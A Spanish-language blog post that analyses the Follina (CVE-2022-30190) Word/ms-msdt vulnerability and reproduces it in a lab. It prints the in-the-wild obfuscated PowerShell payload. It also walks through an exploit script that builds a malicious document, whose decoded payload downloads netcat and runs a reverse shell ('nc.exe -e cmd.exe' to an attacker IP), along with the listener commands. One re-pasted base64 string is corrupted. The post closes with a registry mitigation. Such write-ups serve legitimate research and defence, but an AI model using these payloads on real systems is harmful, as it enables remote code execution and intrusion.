Hola a tod@s!
Recientemente a visto la luz una nueva vulnerabilidad al que le han asignado el CVE-2022-30190 y bautizado con el nombre de Follina por Kevin Beaumont, un conocido investigador de ciberseguridad.
El grupo de investigadores neo_sec, encontró un fichero en Virus Total y fue entonces cuando se dieron cuenta de la vulnerabilidad y publicaron el siguiente tweet:
En el mismo hilo dejaron la ruta de la ejecución del documento en la sandbox Any.run
El documento en cuestión es el siguiente.
Al principio tuvo pocas detecciones, hoy día ya es más que detectado por los diferentes Antivirus, como vemos en la siguiente captura:
Si os fijasteis en la captura del tweet, seguro que identificasteis rápidamente una cadena codificada en base64, me refiero a esta:
En el mismo hilo, aparece lo que esconde:
Que no es otra cosa que unos comandos Powershell para ejecutar de forma oculta una serie de acciones, podían verse en la captura de Any.run, pero lo que vamos a ver es cómo aprovecha la vulnerabilidad y qué se puede usar para reproducirla y/o modificarla.
Primero, tratemos de identificar la URL dentro del fichero de VirusTotal a la que hace referencia el tweet.
$ dssuite zipdump.py 4a24048f81afbe9fb62e7a6a49adbd1faf41f266b5f9feecdceb567aec096784.doc
Index Filename Encrypted Timestamp
1 [Content_Types].xml 0 2022-05-26 23:08:14
2 docProps/app.xml 0 2022-05-26 23:08:14
3 docProps/core.xml 0 2022-05-26 23:08:14
4 word/document.xml 0 2022-05-26 23:08:14
5 word/fontTable.xml 0 2022-05-26 23:08:14
6 word/settings.xml 0 2022-05-26 23:08:14
7 word/styles.xml 0 2022-05-26 23:08:14
8 word/webSettings.xml 0 2022-05-26 23:08:14
9 word/theme/theme1.xml 0 2022-05-26 23:08:14
10 word/_rels/document.xml.rels 0 2022-05-26 23:08:14
11 _rels/.rels 0 2022-05-26 23:08:14
Tiene toda la pinta de encontrarse en word/_rels/document.xml.rels, así que ejecutamos lo mismo con el parámetro “-s 10 -d” para que nos lo muestre y utilizaremos la herramienta re-search.py para obtener la URL que buscamos.
$ dssuite zipdump.py 4a24048f81afbe9fb62e7a6a49adbd1faf41f266b5f9feecdceb567aec096784.doc -s 10 -d | dssuite re-search.py -u -n url -F officeurls
https://www.xmlformats.com/office/word/2022/wordprocessingDrawing/RDF842l.html!
Aquí la tenemos, terminada con una exclamación, y como lo que nos interesa es conocer su contenido, nos vamos a Any.run para verlo.
En la zona donde están las URL podéis pulsar sobre la página y tendréis su contenido. Vamos a la parte interesante, parece que esas A, son parte de un padding para que esto funcione.
….
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA //AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA //AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA //AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'JGNtZCA9ICJjOlx3aW5kb3dzXHN5c3RlbTMyXGNtZC5leGUiO1N0YXJ0LVByb2Nlc3MgJGNtZCAtd2luZG93c3R5bGUgaGlkZGVuIC1Bcmd1bWVudExpc3QgIi9jIHRhc2traWxsIC9mIC9pbSBtc2R0LmV4ZSI7U3RhcnQtUHJvY2VzcyAkY21kIC13aW5kb3dzdHlsZSBoaWRkZW4gLUFyZ3VtZW50TGlzdCAiL2MgY2QgQzpcdXNlcnNccHVibGljXCYmZm9yIC9yICV0ZW1wJSAlaSBpbiAoMDUtMjAyMi0wNDM4LnJhcikgZG8gY29weSAlaSAxLnJhciAveSYmZmluZHN0ciBUVk5EUmdBQUFBIDEucmFyPjEudCYmY2VydHV0aWwgLWRlY29kZSAxLnQgMS5jICYmZXhwYW5kIDEuYyAtRjoqIC4mJnJnYi5leGUiOw=='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO\""; </script> </body> </html>
Nos vamos a Cyberchef, copiamos y pegamos, añadimos “From Base64” y aquí tenemos lo que ya se había mencionado en el tweet. El contenido de la cadena.
Parece ser que el documento utiliza la función de plantilla remota de Microsoft Word para recuperar un archivo HTML de un servidor web remoto, que a su vez utiliza el esquema URI ms-msdt MSProtocol para cargar código y ejecutar PowerShell, ahí es nada.
Hay que decir, que la vulnerabilidad se parece a CVE-2021-40444 sólo que puedes ejecutar comandos Powershell y no hace falta descargar nada, puedes obtener lo que necesites directamente con ellos (con los comandos Powershell). Entonces, tenemos inyección de comandos de PowerShell accesibles a través del argumento IT_BrowseForFile de la aplicación msdt.exe.
¿Cómo podemos verlo funcionar en nuestro laboratorio? aquí tenemos una forma.
El script que nos interesa es este. Y la forma de utilizarlo es la siguiente:
usage: follina.py [-h] [--command COMMAND] [--output OUTPUT] [--interface INTERFACE] [--port PORT]
options:
-h, --help show this help message and exit
--command COMMAND, -c COMMAND
command to run on the target (default: calc)
--output OUTPUT, -o OUTPUT
output maldoc file (default: ./follina.doc)
--interface INTERFACE, -i INTERFACE
network interface or IP address to host the HTTP server (default: eth0)
--port PORT, -p PORT port to serve the HTTP server (default: 8000)
--reverse REVERSE, -r REVERSE
port to serve reverse shell on
Utilizaremos la opción de reverse shell.
$ python3 follina.py -i 192.168.56.1 -p 8000 -r 9001
[+] copied staging doc /tmp/1_4qtpa5
[+] created maldoc ./follina.doc
[+] serving html payload on :8000
[+] starting 'nc -lvnp 9001'
El documento generado es follina.doc que será el que tengáis que usar. Pero ojo, si vuestra máquina de análisis en el Laboratorio no tiene salida a Internet no os funcionará, ¿por qué?
www$ cat index.html
<script>location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+
'SW52b2tlLVdlYlJlcXVlc3QgaHR0cHM6Ly9naXRodWIuY29tL0pvaG5IYW1tb25kL21zZHQtZm9sbGluYS9ibG9iL21haW4vbmM2NC5leGU/cmF3PXRydWUgLU91dEZpbGUgQzpcV2luZG93c1xUYXNrc1xuYy5leGU7IEM6XFdpbmRvd3NcVGFza3NcbmMuZXhlIC1lIGNtZC5leGUgMTkyLjE2OC41Ni4xIDkwMDE='
+char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\""; //fnevxhgubhophsusagmonuyaqzdkemwlvcqafowtpritwexqkwfpfawwdgpdaftlcoxwvkwpkdcgoxyigyjusgwzkufoubauznaemybrpylqvnchsqfkfzbbguxenxjtupjrdkzhvphppchsrzkqmwmngjjiguvbaabignrnuonxqvvryxgszpytzagwnqlogqwrpommynokiuzsvy
Decodificamos esto:
www$ echo -n SW52b2tlLVdlYlJlcXVlc3QgaHR0cHM6Ly9naXRodWIuY2IYW1tb25kL21zZHQtZm9sbGluYS9ibG9iL21haW4vbmM2NC5leGU/cmF3PXRydWUgLU91dEZpbGUgQzpcV2luZG93c1xUYXNrc1xuYy5leGU7IEM6XFdpbmRvd3NcVGFza3NcbmMuZXhlIC1lIGNtZC5leGUgMTkyLjE2OC41Ni4xIDkwMDE= |base64 -d
Invoke-WebRequest https://github.com/JohnHammond/msdt-follina/blob/main/nc64.exe?raw=true -OutFile C:\Windows\Tasks\nc.exe; C:\Windows\Tasks\nc.exe -e cmd.exe 192.168.56.1 9001
Ya lo decía en su web, descargará netcat para la shell reversa. Pues bien, cambiamos su url por la nuestra en donde se encuentra la IP donde se ejecuta el script y que habíamos indicado por argumento, lo vamos a hacer de otra forma, porque además en mi caso me daba error el script.
Cambiando en el fichero index.html la cadena codificada en base64 por la nueva.
Ahora nos vamos al directorio temporal que había creado la herramienta (/tmp/1_4qtpa5 aunque cambiará en cada ejecución). Y copiamos el netcat dentro de www (/tmp/1_4qtpa5/www) y ejecutamos el comando de Python que nos levanta el servidor web en el puerto 8000. Y en otra consola, ejecutamos el netcat poniendo el puerto 9001 a la escucha.
$ ls
index.html nc64.exe
...www$ python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Y por otro lado:
$ nc -lvnp 9001
Listening on [0.0.0.0] (family 0, port 9001)
Nos llevamos pollina.doc a la máquina en donde queremos probar que funciona y lo abrimos sin más.
Vemos como en la consola de la derecha se reciben las peticiones una vez abierto el documento en busca del servidor que se le había configurado. En index.html se encuentra nuestra plantilla con la descarga del netcat y su ejecución posterior, en donde se conectará a la máquina que le dijimos (según los parámetros del script), consola de la izquierda.
La forma más rápida y sencilla de evitar que exploten esto sería renombrar o eliminar la siguiente clave de registro: "HKEY_CLASSES_ROOT\ms-msdt"
Si optáis por eliminar, el comando sería (requiere reinicio):
reg delete HKEY_CLASSES_ROOT\ms-msdt /f
Encontré esta regla SIGMA para detectar este tipo de cosas: Regla
Seguro que a día de hoy o cuando leáis este artículo habrá más.
Os recomiendo este video en donde podréis ver como explica y explota (con el mismo script que he usado, el suyo) la vulnerabilidad John Hammond.